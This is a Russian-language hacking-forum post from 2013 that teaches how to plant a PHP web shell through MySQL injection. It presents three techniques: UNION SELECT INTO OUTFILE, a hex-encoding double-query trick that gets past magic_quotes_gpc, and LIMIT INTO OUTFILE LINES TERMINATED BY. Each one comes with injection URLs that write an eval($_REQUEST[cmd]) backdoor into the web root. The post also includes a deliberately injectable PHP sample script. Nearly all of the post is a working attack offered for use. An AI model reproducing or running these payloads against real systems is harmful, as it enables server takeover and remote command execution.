View Single Post
  #1 Old 08-22-2013, 08:55 PM
Cartographer
 
Cartographer's Avatar
 
Join Date: Aug 2013
Posts: 511
Cartographer is on a distinguished road
Default Заливка шелла через MySQL Injection

Заливка шелла через MySQL Injection

I. Into Outfile

Требования:
magic_quotes_gpc = Off
file_priv = Y
полный путь
папка с правами на запись

Допустим у нас есть SQL инъекция с выводом:
Код:

http://localhost/sql/test.php?id=-1+...lect+1,2,3--+1

Узнаем имя пользователя БД, под которым мы сидим:
Код:

http://localhost/sql/test.php?id=-1+...1,user(),3--+1

Проверяем, есть ли файловые привелегии у нашего юзера:
Код:

http://localhost/sql/test.php?id=-1+...;root'--+1

Заливаем мини-шелл:
Код:

http://localhost/sql/test.php?id=-1+union+select+1,'<?php eval($_REQUEST[cmd]); ?>',3+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/s.php'--+1

II. Into Outfile + двойной запрос (метод Scipio)

Требования:
file_priv = Y
полный путь
папка с правами на запись

Предположим, что инъекция удовлетворяет условиям из предыдущего примера, но mq=ON, т.е. кавычки фильтруются, но работаем мы со скриптом следующего содержания:
PHP код:
<?php
mysql_connect('localhost','root','');
mysql_select_db('test');
$id=$_GET["id"];
$sql = "SELECT id,email,name FROM `user` where id=".$id;
$result = mysql_query($sql);
while($res = mysql_fetch_array($result)) {
echo $res['email'].":".$res['name']."<br>";
$sql2 = mysql_query("SELECT uid,auto FROM autos WHERE uid = ".$res["id"]);
while($res2 = mysql_fetch_array($sql2))
echo $res2["uid"].':'.$res2["auto"];
}
?>
Видим, что данные из первого запроса (id из $sql), попадают во второй запрос $sql2.
Попробуем захексить кавычку и подставить в наш запрос:
Код:

http://localhost/sql/test.php?id=-1+...t+0x27,2,3--+1

Видим ошибку. Из скрипта видно, что во втором запросе 2 колонки, захексим второй запрос -1 union select 'ded',777--+1 и подставим в инъекцию:
Код:

http://localhost/sql/test.php?id=-1+...2d2031,2,3--+1

Данные успешно выводятся, таким образом мы можем обойти magic_quotes_gpc и залить шелл, хексим запрос -1 union select '<?php eval($_REQUEST[cmd]); ?>',777+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/d.php'--+1 и подставляем в инъекцию:
Код:

http://localhost/sql/test.php?id=-1+...2d2031,2,3--+1

III. Into Outfile + Lines Terminated By

Требования:
magic_quotes_gpc = Off
file_priv = Y
полный путь
папка с правами на запись
инъекция в аргументе WHERE(LIMIT,ORDER BY)

Заливаем шелл запросом:
Код:

http://localhost/sql/test.php?id=1+limit+1+into+outfile+'D:/A/xampp/htdocs/sql/b.php'+lines+terminated+by+'<?php eval($_REQUEST[cmd]); ?>'--+1
(с)Ded MustD!e
Cartographer is offline   Reply With Quote